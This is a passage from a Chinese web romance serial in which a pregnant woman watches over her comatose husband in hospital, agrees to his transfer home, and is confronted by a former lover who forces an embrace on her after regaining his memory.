她甚至在心里默默对宝宝们说:多吃点,我们才有力量等爸爸。 睡觉。 晚上是最难熬的时间段,巨大的恐惧和思念像潮水般涌来,几乎将她溺毙。 她习惯了有陆京洲陪伴的日子,每天晚上都是他抱着睡的。 晚上只要她有一点点动静,他就会立马从旁边起来,询问她是不是要喝水,是不是要去卫生间,是不是腰不舒服,腿抽筋了。 总之……整个孕期,她都习惯了他的陪伴。 现在突然这样真的很难受。 大半夜了她还睡不着,睁着眼睛看着天花板。 听着自己的心跳和仪器的声音交织。 但她记得医生的嘱咐,记得陆京洲用命换来的奇迹需要她守护。 她开始尝试深呼吸,一遍遍回忆陆京洲手掌的温度,想象他低沉却让她心安的声音,艰难地把自己拽入短暂的睡眠。 哪怕只是闭目养神,她也严格执行。 休息。 除了必要的检查,她几乎都躺在病床上。 手总是护着小腹,感受着里面两个小家伙日渐有力的胎动。 这成了她最大的慰藉和力量源泉。 她不看新闻,不问任何可能引起情绪波动的事,将全部的注意力都收束在自己和孩子,以及等待陆京洲消息这件事上。 医生和护士的任何指令,她都立刻执行,配合得让人心疼。 第三天,周敏医生来告诉她,陆京洲闯过了最初也是最危险的休克关和感染关。 虽然还依赖着呼吸机,但生命体征的波动范围在缩小,这是一个积极的信号。 岑予衿听完,紧紧攥着被单的手松了松,眼眶红了又红,却倔强的不让眼泪落下来,对周敏说,“谢谢你告诉我这些,我会继续好好吃饭。” 第四天下午,周敏带来的消息更具体了些,“颅内的血肿没有扩大,脊柱的损伤比预想中乐观一些,最重要的是,他的心脏和肾脏功能在支持治疗下,表现出了一定的代偿能力。” 岑予衿听完,轻轻抚摸着自己的肚子,在心里说:宝宝,爸爸很勇敢,对不对? 到了第五天清晨,周敏照例来查房时,脸上带着一丝连日来少见的、更轻松些的神色。 她仔细检查了岑予衿的各项指标,又听了胎心,然后微笑着说:“你恢复得比预期好,血压和血糖都稳定下来了,宝宝们也很争气。今天可以适当多活动一下了。” 岑予衿的心立刻提了起来,她知道,一定还有别的。 果然,周敏看着她充满希冀又小心翼翼的眼神,温声道,“陆先生那边,今早ICU的评估结果出来了。 生命体征已经基本稳定,脱离了最危险的阶段,今天可以转到神经外科的独立监护病房了。 虽然还需要密切观察,但探视条件比ICU宽松一些。如果你体力允许,下午我可以安排护士陪你过去,远远看一眼。” 一瞬间,巨大的酸楚和近乎晕眩的喜悦冲垮了岑予衿连日来强筑的镇定堤坝。 她猛地捂住嘴,泪水夺眶而出,但这次不再是纯粹绝望的眼泪,里面掺进了太多太多失而复得般的战栗和感激。 “我……我可以的!我体力很好!我恢复的很不错。”她急切地点头,声音哽咽,“谢谢周医生,谢谢……” 下午,在一位护士的搀扶下,岑予衿慢慢走过长长的、弥漫着消毒水气味的走廊。 每一步都像踩在棉花上,心跳得飞快,手心里全是冷汗。 终于,他们在一扇厚重的玻璃窗前停下。 护士轻声说,“陆太太,就是这里。您看,陆先生就在里面。他现在情况稳定,但还在镇静镇痛中,可能无法感知到您。您自己注意情绪,时间不能太长。” 岑予衿几乎听不清护士后面的话,她的全部心神,已经被玻璃窗内的景象牢牢攫住。 那是一间充满各种精密仪器的单人病房。 病床上,陆京洲静静躺着,身上盖着薄被。 他的头上缠着厚厚的纱布,脸上戴着呼吸面罩,看不清面容,只露出紧闭的双眼和苍白的额头、下颌。 裸露出来的手臂上布满瘀伤和留置针,连接着数条输液管和监护线。 旁边的仪器屏幕上,曲线平稳地跳跃着,数字规律地变化,发出低沉而有节奏的嗡鸣。 他看起来那么脆弱,那么安静,安静得仿佛没有了往日的半分强势与生机。 但那些跳动的曲线和数字,又无比清晰地宣告着:他还活着,他在坚持,他在一点一点地从死神手里往回走。 岑予衿的视线瞬间模糊了。 她贪婪地、一寸一寸地看着,仿佛要将这一幕刻进灵魂里。 她看到他胸口随着呼吸机节奏微微的起伏,看到护士在里面轻柔地为他调整了一下输液管。 “阿洲……”她无声地唤着他的名字,泪水顺着脸颊滑落,滴在冰凉的地板上。 她将颤抖的手掌轻轻贴在冰凉的玻璃上,隔着一层阻碍,虚虚地抚向他的方向。 “他今天什么时候能出来?” 如果时间隔得很近的话,她想在这儿等他,等他一块回去。 “这个我得需要帮您去问一下,您稍微在这儿等我一下。” 小护士也知道他们俩之间的故事,听完真的特别感动。 现在……真的很少能看到这么相爱的人了。 岑予衿把他俩的病房安排在了一块,是顶层的VIP病房。 她在跟小护士商量,视线也舍得从病房里的人身上移开。 虽然知道很不礼貌,可是她控制不住。 她只想离他近一点。 哪怕只能远远看着他,都已经心满意足了。 小护士很快就回来了,“陆太太,陆先生他很快就能出来,您可以稍微在这儿等他一下。” 岑予衿兴奋的都不敢相信自己耳朵听到的话,“谢谢。” “不用跟我客气,我就在这儿陪着您。” 岑予衿用力的点了点头,又将视线转回到了病房里的人身上,呆呆的站着,一动不动。 出事儿到现在已经整整8天了。 这还是他们俩第一次分开这么长的时间。 想他! 很想很想! 第213章 陆京洲转回普通病房了 大约半小时后,ICU的玻璃窗内有了动静。 两位医护推着移动病床,开始小心翼翼地转移陆京洲。 岑予衿的心立刻悬到了嗓子眼,一瞬不瞬地盯着,生怕他们动作重了牵扯到他的伤处。 护士看出了她的紧张,低声安慰,“陆太太,别担心,转运过程我们都很小心,床也是专用的转运床,很平稳。” 很快,病床被推了出来,穿过走廊,向VIP病房区走去。 岑予衿在护士的搀扶下,亦步亦趋地跟在旁边。 距离近了,她才更清晰地看到陆京洲身上的细节。 不仅仅是纱布和仪器,伤痕遍布,看起来触目惊心的。 他比昏迷前清瘦了许多,下颌线更加明显了。 露在被子外的手背上,除了留置针,还有大片未褪的瘀青和擦伤。 即使闭着眼睛,眉头似乎也带着一丝不易察觉的蹙起,仿佛在忍受着什么。 呼吸面罩下,他的唇色是缺乏血色的淡。 整个人的生气被那些维持生命的管道和绷带压抑着,只留下生命顽强搏动的证明。 岑予衿的呼吸都放轻了,每一步都走得小心翼翼,仿佛怕惊扰了他。 直到陆京洲被稳妥地安置在隔壁病房的病床上,所有仪器重新连接好,医护人员做完交接检查,她才有机会真正靠近。 她缓缓走到床边,离他最近的距离。病房里很安静,只有仪器规律的声响。 她伸出手,指尖颤抖着,极其轻柔地触碰了一下他那只布满瘀伤和针眼的手背。 触感冰凉,眼里满是心疼。 “阿洲……”她低声唤他,声音哽咽。 这时,一位穿着白大褂,戴着金丝边眼镜,气质沉稳的中年男医生走了进来,胸口挂着“神经外科主任李叙”的铭牌。 他先查看了陆京洲最新的监护数据,又做了简单的神经反射检查。 “李医生。”岑予衿急切地,又带着小心翼翼的开口,“他……他什么时候能醒?” 这是她此刻最想知道的 李叙医生转过身,目光温和而专业地看向岑予衿,他显然已经从周敏医生那里了解了情况。 他沉吟了一下,用清晰但留有余地的语气回答,“陆太太,陆先生能脱离危险、生命体征稳定下来,已经是非常不容易的一步。 至于意识恢复,这取决于他脑部损伤的具体恢复情况,以及身体的整体状态。 目前他还处于需要充分镇静,让大脑和身体得到深度休息的阶段。” 他的声音带着些许无奈,“我们无法给出确切的时间表,可能是几天,也可能需要更长的时间。 但有一点可以肯定,他目前的情况是在向好的方向发展,这本身就是一个积极的信号。我们现在要做的,是耐心等待,并给他提供最好的支持治疗。” 这番话既给了希望,也明确了现实的不可控。 岑予衿点了点头,指甲再次掐进掌心,“我明白,李医生。谢谢你们。” “不客气。你也要注意休息,双胎孕晚期本身就负担重,情绪稳定对你和孩子都至关重要。” 李叙医生又叮嘱了几句,便离开了病房,示意护士也可以暂时出去,给她一点独处的空间。 门被轻轻带上,病房里只剩下仪器声响和两人一坐一躺的呼吸。 岑予衿在床边的椅子上慢慢坐下,目光片刻不离地锁在陆京洲脸上。 她轻轻握住他没有输液的那只手,用自己温热的掌心包裹着他微凉的指尖。 低着头将脸埋在他的手心。 “阿洲。”她开始低声说话,声音很轻,仿佛怕吵醒他,又仿佛只想说给他一个人听,“我让护士把我们的病房安排在一起了。这样……我就能离你近一点,晚上就能和你住在一张床上了。” 她顿了顿,眼眶又湿了,却努力弯起嘴角,想让自己听起来轻松些。 “宝宝们这几天都很乖,没怎么闹我。就是……晚上有点睡不着。” 她的声音带上了一丝不易察觉的委屈和依赖,“没有你在旁边,不习惯。你以前总说我一动你就醒,现在我晚上翻身,旁边空空的……感觉特别冷清。” “周医生说,我恢复得不错,宝宝们也很争气。我知道,是你把我们保护得很好。” 她额头轻轻抵在他手背上,轻轻的蹭了蹭,汲取那一点点微弱的温度。 “你快点儿好起来,好不好?等你好了……我什么都听你的。以前……以前那些我藏着掖着、不敢告诉你的事儿,我都告诉你,一件不落。你怎么……怎么罚我都行。” 她的声音越来越低,带着鼻音,却透着一股执拗的坦承和哀求。 “我跟宝宝们说,爸爸很勇敢,正在很努力地回来找我们。他们好像听懂了,每次胎动都轻轻的,像是在回应我。” 她絮絮叨叨地说着,从天气到餐食,从宝宝的细微动静到对未来的琐碎憧憬。 没有惊天动地的告白,只有细水长流的思念和融入骨血的依赖。 每一句看似寻常的话语,背后都藏着她无法宣之于口的恐惧、愧疚,和深入骨髓的想念。 “我好想你,阿洲。”最后,她把这句话重复了无数遍,像一句虔诚的咒语,又像是最直白的心声,“真的……特别特别想你。你快醒来看我一眼,好不好?” 她就这样握着他的手,低声说了很久很久的话,直到声音沙哑,直到窗外的天色渐渐暗了下来。 直到小护士把餐食推进来,提醒她要吃饭了。 岑予衿依依不舍地松开手,小心地将他微凉的手放回被子里,掖好被角。 她站起身,俯身在他缠着纱布的额头上,落下了一个极其轻柔的吻。 一个人乖乖的去吃饭,吃不下也吃。 吃完之后又乖乖的回到了病床前,坐在他身边开始絮絮叨叨的说话。 自己去洗漱完了之后,学着他的样子,给自己涂妊娠油。 自己涂怎么也涂不好。 反正他清楚的知道自己已经被他宠成小废物了。 现在她这个小废物,学着他的样子在照顾自己,可是怎么也照顾不好。 原来照顾人也是要有天分的。 病房里的床很大,岑予衿就乖乖的躺在离他不远的地方。 拿自己的小手拇指轻轻的勾着他的小手拇指。 偷偷摸摸的,轻轻的晃着。 这一晚她睡得很好,比前几天晚上好了不知道多少倍。 事情发生这么久,她也没敢告诉陆老太太。 她怕老太太听到这个消息会坚持不住。 一个人默默守着他。 这边的事情她只告诉了傅星驰和程凌晟,让他们盯紧陆家的人。 第214章 纸包不住火 又过了半个月。 时间在消毒水的气味和仪器规律的滴答声中悄然流逝。 陆京洲依旧没有要醒的迹象,唯有监护仪上起伏的线条证明着他生命的坚韧。 岑予衿的肚子又大了一些,行动越发迟缓。 她拒绝了护工,坚持自己亲手照顾他。 此刻的她正小心地拧干温热的毛巾,避开他额角的纱布,轻柔地擦拭他清瘦却依旧棱角分明的脸庞。 指尖抚过他微蹙的眉头,仿佛想将那丝无形的痛楚也一并抹去。 “阿洲。”她声音很轻,带着连日絮语后的微哑,还有一丝不易察觉的疲惫与倔强,“你还不醒过来看看我吗?我的预产期,可一天天近了。” 毛巾划过他高挺的鼻梁,动作珍重得像对待易碎的瓷器。 “你记不记得?你以前趴在我肚子上跟宝宝说话,说等你出来,爸爸第一个抱你,举得高高的,看最远的风景。” 她顿了顿,鼻尖泛酸,却强撑着语气里的嗔怪,“大骗子,又想说话不算数对不对?宝宝会生你气的。” “我也会生你气的,为了宝宝的颜值,你可得快点醒过来。都说了宝宝好不好看要第一个抱他的人。” 那时候的他还说就算有两个宝宝也没事儿,一手抱一个,轻轻松松。 现在……她开始有点怀疑了。 岑予衿换了一边擦拭,目光描摹着他紧闭的眼睫,“周医生昨天又帮我评估了,说双胞胎,大概率是要剖的。阿洲,我最怕疼了,打针都怕。” 她低下头,额头几乎要抵上他的手臂,声音闷闷的,泄露出心底的恐惧和依赖,“别人生孩子,老公都在外面等着,着急得转圈,有的还能进去陪着……你要是不在,我一个人被推进去,我会害怕的。看到别人有老公安慰,我会……特别特别羡慕,特别委屈。” 这些话,她翻来覆去,用不同的句式,不同的情绪说过许多遍。 有时是温柔的哄劝,有时是带着哭腔的哀求,有时像此刻,是夹杂着委屈和控诉的撒娇。 她知道他可能听不见,却又偏执地相信,他灵魂深处总有一缕意识是牵挂着她和孩子的。 她能凭着这些琐碎的唠叨,将他从漫无边际的黑暗里拽回来一点点。 擦完脸,她又仔细地替他润了润有些干裂的嘴唇。 然后用自己温热的手掌包裹住他微凉的手,轻轻放在自己高高隆起的腹侧。 “你感觉到了吗?”她引着他的手,去触摸那偶尔鼓起一个小包的地方,“这是宝宝在动。他们肯定也在着急,爸爸怎么还在睡懒觉?再睡下去,就要错过我们的见面了。” 腹中的孩子像是回应,接连动了好几下,力道清晰。 岑予衿的眼泪毫无预兆地滚落下来,滴在两人交叠的手上,“你看,他们也在催你了,阿洲。” 她将他的手贴在自己脸颊,泪痕蹭过他手背的瘀青,“你快醒醒,好不好?不用马上就能说话,不用马上就能动,就……就睁开眼睛,看看我,看看宝宝,让我知道你真的在努力,行吗?” “我真的……快撑不住了。”最后这句低语,轻得像一声叹息,融进午后病房寂静的光尘里。 她不是想放弃,只是那根紧绷了太久的弦,需要一点点来自他的,哪怕最微弱的回应来加固。 …… 病房门被轻轻推开时,岑予衿正跪坐在床边的矮凳上,小心翼翼地给陆京洲活动僵硬的手指。 熟悉的拐杖点地声传来,她抬头的瞬间,便看见陆老太太被人搀扶着站在门口,鬓角的白发被打理得整齐,却掩不住眼底的红丝与憔悴。 身后跟着几位陆家的长辈,神色肃穆,却没有半分责备的戾气。 岑予衿心头一紧,下意识地想站起身,腹部的沉重却让她动作滞涩,眼眶瞬间就红了,“奶奶……” “傻孩子,别动。”陆老太太快步上前,拐杖在地板上轻轻一顿,声音带着刻意压下去的哽咽。 目光掠过病床上毫无生气的陆京洲,又落在岑予衿隆起的肚子上,心疼得直皱眉,“这么大的事,你怎么一个人扛了这么久?” 岑予衿咬着唇,眼泪不争气地滚落,“我怕您受不了……阿洲他一直没醒,我不敢告诉您,怕您急出病来。” “傻丫头。”陆老太太握住她的手,掌心粗糙却温暖,带着安抚的力量,“京洲这孩子,打小就护着自己人,这次肯拼了命护着你,才算没白养他,是个真男人。” 她顿了顿,目光落在陆京洲苍白的脸上,声音软了下来,“我心疼他,更心疼你。怀着两个孩子,还要没日没夜地守着他,你受的苦,比谁都多。” 长辈们也纷纷点头,“只是国内的医疗条件更周全,我们已经联系好了顶尖的神经外科团队,还有专属的私人医疗中心,比这里更方便照顾。” 岑予衿的心像被什么东西揪着,既感动于陆家的体谅,又忍不住担忧转院的风险。 她看向病床上的陆京洲,指尖轻轻抚过他的脸颊,“我知道你们是为了阿洲好,可他现在的情况……转院会不会有危险?长途飞行,还有转运过程中的颠簸,我怕他受不住。” “我们已经咨询过国内外的专家了,都说他现在生命体征稳定,转院是可行的。” 陆老太太拍了拍她的手,“但最终的决定权在你,我们都听你的。你要是觉得不妥,我们就把国内的医生请过来,在这里治疗也一样。” 岑予衿沉默了片刻,抬头看向几位长辈,“我想问问李医生,他是阿洲的主治医生,最了解他的情况。” “应该的。”陆老太太点头,“我们陪你一起去。” 找到李叙医生时,他正在分析陆京洲最新的脑部扫描报告。 听完岑予衿的疑问,他推了推金丝边眼镜,语气专业而沉稳,“陆太太,陆先生目前的恢复情况很理想,脑部水肿已经基本消退,感染得到了有效控制,生命体征也持续平稳。从医学角度来看,转院的风险是可控的。” “那长途飞行呢?会不会影响他的病情?”岑予衿追问,指尖紧紧攥着衣角。 “我们会做好充分的预案。”李叙拿出一份详细的转运方案,“转运专机会配备全套的急救设备和两名资深医护人员,全程监测他的生命体征。” 他顿了顿,补充道,“当然,任何医疗决策都存在风险,但以陆先生目前的状态,转院的获益远大于风险。国内的医疗团队在脑部损伤后的康复治疗上经验更丰富,后续的护理也更方便家属参与。” 岑予衿拿着方案,指尖微微颤抖。 她回到病房,陆老太太和长辈们都在安静地等着,没有催促。 她走到床边,握住陆京洲微凉的手,将脸颊贴在他的手背上,“阿洲,奶奶和长辈们来接我们回家了。国内有更好的医生,更好的设备,我们回家好不好?” 她顿了顿,声音带着一丝期盼,“你要是同意,就动一动手指,好不好?” 病房里静得只剩下监护仪的滴答声,陆京洲的手指依旧没有动静。 岑予衿却像是得到了答案一般,缓缓抬起头,看向陆老太太,眼底带着坚定,“奶奶,我同意回国。” “好。”陆老太太松了口气,眼眶泛红,“我们马上安排,让京洲早点回家。” “但我有几个要求。”岑予衿说道,“转运的医护人员必须由李医生团队的人担任,国内的接收方案要让我过目,还有,我要一直陪着阿洲,不管是转运途中,还是到了国内的医院,我都要在他身边。” “都依你。”陆老太太毫不犹豫地答应,“你是京洲的妻子,你陪着他,我们才放心。” 接下来的几天,陆家的人开始忙碌起来,对接转运团队,确认专机航线,核实国内医院的接收细节。 岑予衿依旧每天亲自照顾陆京洲,给他擦脸、擦手、活动肢体,絮絮叨叨地跟他说话。 “阿洲,我们要回家了。” 第215章 陆京洲很有可能变成植物人 陆京洲转院回国的过程有陆老太太保驾护航比预想中顺利。 私人医疗专机平稳地降落在停机坪时,早已等候的救护车和医疗团队迅速而不失章法地完成了交接。 岑予衿全程紧握着陆京洲的手,一刻也未松开。 直到他被稳妥地安置在国内顶尖私立医院顶层的VIP套房,四周环绕着最先进的监测设备。 新环境带来新气象。 陆家聘请的医疗团队由国内神经外科领域的泰斗牵头,结合康复科、营养科、心理科等多学科,为陆京洲制定了更为详细的治疗方案。 岑予衿的肚子越发沉重,行动更加不便,但她依旧固执地守在陆京洲身边。 只是不再拒绝护工的辅助。 她开始在医护人员的指导下,更专业地为他进行肢体按摩和关节活动,防止肌肉萎缩和关节僵硬。 其实……这几天传来的也并不全都是好消息。 只是老太太一直瞒着她。 很不巧的是她去医生办公室找医生的时候,偶然听到了医生们的对话。 他们说了……要是这两天醒不过来,陆京洲很有可能变成植物人。 这她怎么可能接受得了呢? 她背地里咨询了很多专家。 陆家找到的资源已经是最顶尖的了,所以医疗环境是没有什么问题的。 最重要的就是多陪他聊天说话,唤醒他。 陪她说话他是能感受得到的。 “陆太太,您的预产期快到了,平时也要多休息,陆先生这边我们会盯着的。” 岑予衿正轻柔地按摩着陆京洲的手臂,闻言,手上的动作未停,只抬头对进来查房的小护士露出一个浅淡却温婉的笑容。 “谢谢,我没事。”她声音平和,目光又落回陆京洲沉静的脸上,“多陪他说说话,他也许能听到。而且,看着他也让我心里踏实些。” 小护士一边记录着监护仪上的数据,一边忍不住多看了岑予衿几眼。 这位陆太太几乎长在了病房里,怀着双胞胎,身子那么重,却始终温柔坚韧,不见半分怨怼,让人瞧着既敬佩又心疼。 “陆先生有您这样的太太,真是福气。”小护士由衷地说,随即想到什么,语气轻快了些。 “对了,陆太太,您预产期就在下周了吧?待产包都准备好了吗?我们医院产科那边需要提前准备一些东西的。” 提到待产包,岑予衿按摩的手指微微一顿,眼底掠过一丝极复杂的情绪,有温暖,有心酸,也有更深的坚持。 “早就准备好了。”她的声音很轻,像是陷入某种回忆,“是我先生准备的……在我怀孕刚满七个月的时候,就亲自列了清单,一样样核对,亲手收拾的,没问题。” 她的目光飘向病房角落那个质感极佳的两个行李箱,一个淡粉色另一个则是奶黄色。 那是陆京洲选的,他说颜色适合她,温温柔柔可可爱爱的,能装,轮子顺滑,推着也不费力。 淡粉色的装的是她的,奶黄色的则是两个宝宝的。 箱子里面,从产妇的护理用品到新生儿最柔软的衣物,从吸奶器到安抚奶嘴,甚至考虑到她是剖腹产可能需要的特殊用品。 以及根据医生建议准备的双胞胎专用物品……事无巨细,他都考虑到了。 有些东西他甚至不厌其烦地比较了好几个品牌,仔细查看评测,才最终选定。 “他当时还说,不知道是男孩女孩,所以衣服颜色都选了中性柔和的,鹅黄、浅灰、米白……说等宝宝出生了,再买更多漂亮的。” 岑予衿的指尖无意识地摩挲着陆京洲的虎口,那里有一道很浅的旧疤,“连我产后要用的护肤品、喜欢的零食,还有解闷的书,他都悄悄塞了进去。” 她说着,嘴角不自觉地弯起一个极温柔的弧度,但眼眶却微微泛红。 “他总说我粗心,怕我到时候手忙脚乱。其实……他才是那个最细致的人。” 小护士听得入神,也被那份深藏在琐碎准备中的爱意打动,鼻子有点发酸,“陆先生真的很爱您和宝宝。” 陆先生要早点醒过来啊! 他应该也舍不得自己的妻子一个人上战场吧。 “是啊。”岑予衿深吸一口气,将涌上喉头的哽咽压下去,重新看向陆京洲,语气变得更加坚定,仿佛是说给他听,也是说给自己听。 “所以你看,阿洲,你什么都为我们准备好了。从房子到车,从宝宝的名字到待产包里最小的一块纱布……你总是想在我们前面,把一切都安排得妥妥当当。” 她倾身,靠近他耳边,声音轻柔却带着不容置疑的力量,“现在,就差你自己了。我们的宝宝马上就要用上你精心准备的这些东西了,你这个总设计师,可不能缺席啊。” 她执起他的手,贴在自己隆起腹部的最高处,那里正传来一阵规律的胎动,强劲有力。 “感觉到了吗?他们在打包行李,准备退房了呢。你这个爸爸,也该打起精神,准备迎接了,对不对?” 小护士默默退出病房,轻轻带上门,不忍打扰这一刻交织着无尽思念与炽热期盼的无声交流。 病房内,只有仪器规律的声响,和女人温柔的低语。 “扣扣扣!”一阵急促的敲门声传来,打破了病房里的宁静。 岑予衿皱眉,这会也不是陆家人过来探视的时间…… 而且就算陆家人要过来,也不可能把门敲得这么响。 陆京洲的情况他们是知道的呀,得静养。 这么重的敲门声,让她的眉头不自觉的皱在了一起。 将他的手放回被窝,又替他掖了掖被角,确定人没有问题了,才起身往门口走。 不管是谁,她一定得好好说说。 要是请的护工或者是保镖,那就直接不要了。 招聘进来之前就已经一再强调过,这么低级的错误怎么能再犯呢? 宝宝已经接近预产期了,她的孕肚已经很明显了。 再加上怀的是两个,这会儿起身也有点困难,一手撑着床沿,一手撑着腰,慢慢的才起来。 岑予衿扶着腰,缓步走到门边。 敲门声又响了两下,比刚才更急。 她压下心头的不悦和疑虑,拉开房门。 眼底满是意外,外面的人不是别人,是周时越。 她想到了所有人,唯独没想到是周时越! 第216章 周时越你来干什么? 岑予衿早就和他没什么关系了。 他们之间已经两清了。 现在他们连陌生人都算不上。 再加上刚才他敲门声那么大,吵到陆京洲休息了她怎么可能会给他什么好脸色。 “还真是阴魂不散!” 岑予衿没有让他进门的意思,还想把门关上,被他阻止了。 看着他的动作,岑予衿更气了,用力的挣扎了一下,发现那门怎么也关不上,“周先生,找错地方了吧,病房里只有我老公,可没藏着别的什么人。” 周时越看着他眼底浓浓的厌恶,心痛到无以复加的地步,像是被人拿着针,一针一针的扎着。 每一针都催了毒,在他的心上翻搅着,他想张嘴说话,可声音全被卡在了喉咙里,一句话也说不出来。 眼眶红的能滴血! 眼神更是复杂到岑予衿都看不懂的地步。 “你是有妇之夫自己心里不清楚吗?你要是再这样那就别怪我用特殊手段请你出去。” 岑予衿看着他的样子,心里莫名有些慌,两人力量悬殊太大,要是他突然对他做什么她毫无还手之力。 “很久以前我就跟你说过了,我们之间能不见面就不见面,免得你太太看到了像疯狗一样找我麻烦。” 他们之间的关系实在是太复杂了。 以前的事情她也放下了,现在是能不见面就不见面。 关系也挺尴尬的,见了面反而还不自在。 没有恢复记忆的周时越就跟疯狗似的,陆京洲不在身边,她可得保护好自己。 免得他们林舒薇他们夫妻俩,乱发疯咬人。 她一个人也就罢了,现在肚子里还怀着宝宝呢。 周时越的指节死死扣着门框,泛白的骨节几乎要嵌进木头里。 他望着岑予衿眼底那层化不开的冰霜,心脏像是被一只无形的手攥紧,疼得他浑身发颤。 他想解释,想嘶吼着告诉她自己记起来了,记起了所有亏欠与深情,可喉咙像是被滚烫的沙砾堵住,只能发出破碎的气音。 泛红的眼底翻涌着悔恨、痛苦与绝望,他死死盯着岑予衿,仿佛要将她的模样刻进骨子里。 那眼神太过灼热,带着一种近乎毁灭的偏执,让岑予衿心里的慌乱又重了几分。 “看什么看?”岑予衿被他盯得浑身发毛,下意识往后退了半步,手不自觉地护在隆起的腹部,“周时越,你少在这里装可怜!当初你和林舒薇联手逼我离开的时候,怎么没想过今天?现在跑到这里演深情,给谁看?” 她的声音带着孕期特有的沙哑,却依旧尖利,每一个字都像刀子,扎在周时越心上。 他喉结剧烈滚动,终于挤出几个破碎的音节,却不成句,只有浓重的鼻音在空气中弥漫。 他看着岑予衿警惕又厌烦的眼神,看着她护在腹前的手,还有她身后隐约可见的病床上那个沉默的身影。 年少时青涩的心动,重逢后小心翼翼的试探,那些他曾经珍视却后来被谎言覆盖的温暖碎片,还有……他最后给予她的那些不堪的伤害。 每一个画面都清晰得刺眼,带着迟来的、锥心刺骨的痛感。 他想说“衿衿,是我”,想说“我都想起来了”,想说“对不起”,千言万语堵在喉咙口,却发现自己连发出一个完整音节的力气都没有。 巨大的悔恨和失而复得的记忆冲击,让他整个人都在微微发抖。 眼眶越来越热,视线迅速模糊。 他张了张嘴,喉结剧烈滚动。 一滴滚烫的泪毫无征兆地从他通红的眼眶中滑落,迅速划过脸颊,在下颌处凝聚,无声地滴落在他昂贵的手工西装前襟上,洇开一小片深色的痕迹。 他竟就这样,在她冰冷的注视和带着刺的话语中,毫无声息地哭了。 没有抽噎,没有呜咽,只是眼泪失控地不断涌出。 岑予衿还在继续说着,语气里满是不客气的驱赶,“周先生,请你立刻离开。我先生需要静养,我也没兴趣也没义务在这里跟你浪费时间。你再不走,我叫保镖了,大家脸上都不好看……” 她的声音在看到他脸上清晰的泪痕时,蓦地顿住了。 那一瞬间,她有些愕然,甚至怀疑自己是不是看错了。 周时越……哭了? 那个永远矜贵傲慢、对她冷酷绝情的周时越,此刻像个迷路的孩子,又像承受着巨大痛楚却无法言说的困兽。 只是用一双盈满泪水的、盛满她看不懂的复杂情绪的眼睛,死死地望着她。 那眼神里有太多东西,翻涌的悔恨、深刻的痛楚、绝望的眷恋,还有一丝近乎卑微的祈求……复杂得让她心悸,也让她更加警惕和困惑。 他到底想干什么? 又在演哪一出? 是林舒薇的新把戏,还是他周时越又抽了什么疯? 岑予衿眉头蹙得更紧,非但没有心软,心底反而升起一股更强烈的不安和烦躁。 她现在最不需要的,就是这种莫名其妙的纠缠和情绪宣泄。 她深吸一口气,肚子里的宝宝似乎也感受到了母亲情绪的不稳,轻轻踢动了一下。 这让她迅速回过神来,眼神重新变得冷硬。 “周时越,”她连名带姓地叫他,声音压得很低,却带着不容置疑的坚决。 “我不管你现在是怎么回事,有什么目的,都跟我无关。看在你曾经……算了,不提也罢。请你立刻离开,不要打扰我丈夫休息,也不要再来找我。我们之间,早在很久以前,就彻底两清了。” 岑予衿话音落下的瞬间,手已经用力推向门板,试图将这个不速之客彻底隔绝在外。 然而,就在门即将合拢的刹那,一只手臂猛地伸了进来,以一种不容抗拒的力量抵住了门框! 岑予衿惊愕地抬头,正对上近在咫尺的周时越那双通红的、蓄满泪水的眼睛。他脸上湿漉的泪痕未干,眼神却爆发出一种近乎疯狂的决绝。 “衿……” 他终于艰难地挤出一个破碎的音节,带着浓重的、压抑到极致的哭腔。 未等岑予衿反应过来,他已经不顾一切地侧身挤进了病房! 门在他身后被惯性带上,发出轻微的“咔哒”声。 病房内柔和的灯光下,空气仿佛瞬间凝固。 岑予衿甚至来不及惊呼,就被一股巨大的力量猛地拽了过去,落入一个滚烫而颤抖的怀抱。 周时越的双臂如同铁箍,紧紧地将她拥住,力道大得几乎要将她揉进自己的骨血里。他的脸深深埋进她的颈窝,灼热的呼吸混杂着湿意,喷洒在她裸露的皮肤上。 岑予衿浑身僵硬,大脑一片空白,腹部因这突如其来的压迫感传来一阵不适,让她瞬间从震惊中惊醒,随之而来的是滔天的怒火和恐惧。 “放开我!周时越你疯了?!”她开始拼命挣扎,双手用力推搡着他坚实的胸膛,“你放开!听见没有!你这个混蛋!” 她不敢动作太大,生怕伤到肚子里的孩子,可周时越的力气大得惊人,她的挣扎在他怀里显得如此无力。 第217章 衿衿,我恢复记忆了 “衿衿……”周时越的声音在她耳边响起,嘶哑得不成样子,每一个字都浸泡在泪水与痛苦之中,“我……想起来了……全想起来了……对不起……对不起……” 他反复呢喃着“对不起”,手臂收得更紧,身体因为极致的情绪而剧烈颤抖。 那些被他遗忘的过往,那些他施加的伤害,此刻都变成淬毒的匕首,反复凌迟着他。 唯有紧紧抱住这具温热的身躯,这失而复得的真实触感,才能稍稍缓解那灭顶的悔恨与恐慌。 恐慌于她眼中彻底的陌生与冰冷,恐慌于她身后那张病床所代表的、已无可更改的现实。 “我想你……我好想你……对不起……”他的意识似乎都有些混乱,只是凭着本能紧紧抱着她,仿佛抱住最后一根救命稻草。 “我找了你好久好久,可是我找不到你……这一个月我一直在找你,衿衿……对不起,真的对不起……” 周时越紧紧的抱着她,像是抱着什么失而复得的宝贝,“我错了,我怎么能把你忘了呢?衿衿……我……衿衿……” “我是阿越,是……是衿衿的阿越,我回来了,我回来了……” 他哽咽着,一遍遍重复着这几句话,前言不搭后语。 而岑予衿已经僵愣在了原地,连推开他的动作都忘了。 他……记起来了? 他真的记起来了吗? 所以,他眼里的痛苦是真的? 这崩溃的眼泪,这语无伦次的道歉,这几乎要将她融入骨血的拥抱…… 是因为他想起了他曾如何亲手将她推入地狱,把她踩进泥里! 一瞬间,岑予衿的心像是被一只无形的手狠狠攥住,又酸又胀,几乎喘不过气。 不是心疼,不是感动,而是一种极其复杂到近乎荒诞的冲击。 她曾那么卑微地祈求过他哪怕一丝一毫的信任,那么绝望地希望他能记起他们之间的一切。 可那些期盼,早就在日复一日的冷待和伤害中,被磨得粉碎。 她没有求过他吗? 她没有给过他机会吗? 那时候的她真的有另外的路能走吗? 没有! 是他把她逼到了绝境,摆在她面前的只有死路一条。 要不是陆家,要不是陆京洲她也许早就死了。 现在呢? 他一句轻飘飘的我恢复记忆,她就该待在原地等着他? 对过往的那些伤害既往不咎,义无反顾的原谅他? 凭什么? 现在,当她终于将那些过往彻底放下,当她身心都已归属另一个人。 当她即将迎来与心爱之人的孩子时……他却“想起来了”? 这又算什么? 